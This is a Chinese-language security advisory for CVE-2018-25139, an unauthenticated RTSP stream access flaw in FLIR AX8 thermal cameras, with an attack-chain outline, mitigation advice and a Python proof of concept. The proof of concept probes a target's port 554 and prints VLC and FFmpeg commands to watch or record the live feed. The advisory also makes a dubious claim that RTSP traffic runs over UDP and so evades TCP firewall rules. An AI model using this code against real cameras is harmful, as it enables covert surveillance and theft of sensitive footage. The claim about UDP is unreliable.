IPBUF安全漏洞报告
English
CVE-2018-25139 CVSS 7.5 高危

CVE-2018-25139 FLIR AX8热像仪未授权RTSP视频流访问漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25139
漏洞类型
未授权访问/认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR AX8 Thermal Camera

相关标签

CVE-2018-25139未授权访问认证绕过RTSP视频流泄露FLIR AX8热像仪网络摄像头漏洞IoT漏洞高危漏洞

漏洞概述

CVE-2018-25139是FLIR AX8热像仪设备中的一个严重安全漏洞,CVSS评分高达7.5分,属于高危级别。该漏洞存在于FLIR AX8 Thermal Camera固件版本1.32.16中,攻击者可以在无需任何认证凭据的情况下远程访问设备的实时视频流。FLIR AX8是一款广泛应用于工业监控、消防预警、建筑物检测等领域的热成像设备,其视频流数据包含了敏感的热成像信息。由于该设备在RTSP(实时流协议)服务配置上存在缺陷,允许未认证用户直接连接视频流端口,攻击者可以绕过正常的身份验证机制,直接获取设备的实时监控画面。这一漏洞意味着任何能够访问设备网络的用户都可以查看热像仪捕获的所有内容,包括可能包含商业机密、工业设施布局或私人场所的影像数据。攻击者利用此漏洞可以实施间谍活动、窃取商业机密或进行其他恶意行为。由于该漏洞无需特殊工具或复杂技术即可利用,因此对受影响设备构成了严重的安全威胁。

技术细节

FLIR AX8 Thermal Camera的RTSP服务在实现上存在严重的认证缺陷。设备默认启用RTSP流媒体服务,但未对连接请求实施有效的身份验证机制。攻击者可以通过标准的RTSP协议直接连接到设备的554端口(默认RTSP端口),无需提供任何用户名或密码即可获取视频流URL并开始接收实时视频数据。RTSP协议本身支持多种认证方式,包括Basic认证和Digest认证,但该设备的RTSP服务配置中未启用任何认证机制。攻击者使用VLC media player、FFmpeg或专门的网络视频客户端工具,即可直接访问rtsp://[目标IP]:554/live的URL地址获取视频流。设备返回的SDP(会话描述协议)信息中包含了可用的媒体轨道信息,攻击者可以据此选择接收视频流或音频流。值得注意的是,该漏洞不仅影响视频流的查看,攻击者还可以利用FFmpeg等工具将实时流录制为本地文件,实现对监控数据的持久化窃取。此外,由于RTSP协议运行在UDP协议之上,攻击流量难以被传统的基于TCP连接的防火墙规则完全阻断。

攻击链分析

STEP 1
信息收集
攻击者通过扫描发现FLIR AX8热像仪的IP地址和开放端口554(RTSP服务)
STEP 2
发送RTSP请求
攻击者构造OPTIONS请求并直接发送到目标设备的RTSP端口,无需任何认证头部
STEP 3
验证漏洞
设备返回200 OK响应,确认RTSP服务存在且未启用认证机制
STEP 4
获取视频流URL
攻击者获取RTSP流地址rtsp://[IP]:554/live,准备建立视频流连接
STEP 5
建立视频连接
使用VLC或FFmpeg等工具直接连接RTSP流地址,无需凭据即可接收实时视频数据
STEP 6
数据窃取
攻击者可以实时查看监控画面,或使用FFmpeg将视频流录制保存到本地进行后续分析

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2018-25139 PoC - FLIR AX8 Unauthenticated RTSP Stream Access # Affected: FLIR AX8 Thermal Camera Firmware <= 1.32.16 import socket import sys def check_rtsp_unauthenticated(target_ip, port=554): """ Check if FLIR AX8 RTSP service allows unauthenticated access """ # RTSP OPTIONS request without authentication rtsp_request = f"OPTIONS rtsp://{target_ip}:{port}/live RTSP/1.0\r\n" rtsp_request += "CSeq: 1\r\n" rtsp_request += "User-Agent: PoC-CVE-2018-25139\r\n" rtsp_request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(rtsp_request.encode()) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() if "RTSP/1.0 200 OK" in response: print(f"[+] VULNERABLE: {target_ip} allows unauthenticated RTSP access") return True else: print(f"[-] NOT VULNERABLE or service unavailable") return False except Exception as e: print(f"[-] Error: {e}") return False def get_rtsp_stream_ffmpeg(target_ip, port=554): """ Use FFmpeg to access unauthenticated RTSP stream Command: ffmpeg -i rtsp://TARGET_IP:554/live -c copy output.mp4 """ stream_url = f"rtsp://{target_ip}:{port}/live" print(f"[+] Stream URL: {stream_url}") print(f"[+] Use VLC: vlc \"{stream_url}\"") print(f"[+] Use FFmpeg: ffmpeg -i \"{stream_url}\" -c copy output.mp4") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2018-25139.py <target_ip>") sys.exit(1) target = sys.argv[1] check_rtsp_unauthenticated(target) get_rtsp_stream_ffmpeg(target)

影响范围

FLIR AX8 Thermal Camera firmware <= 1.32.16

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)通过网络防火墙阻止外部网络对RTSP端口554的访问;2)使用网络ACL限制只有授权的管理IP可以访问设备;3)将FLIR AX8设备部署在隔离的网络区域;4)定期检查设备日志,监控是否有未授权的RTSP连接尝试;5)考虑暂时关闭设备的RTSP服务功能,改为使用需要认证的替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表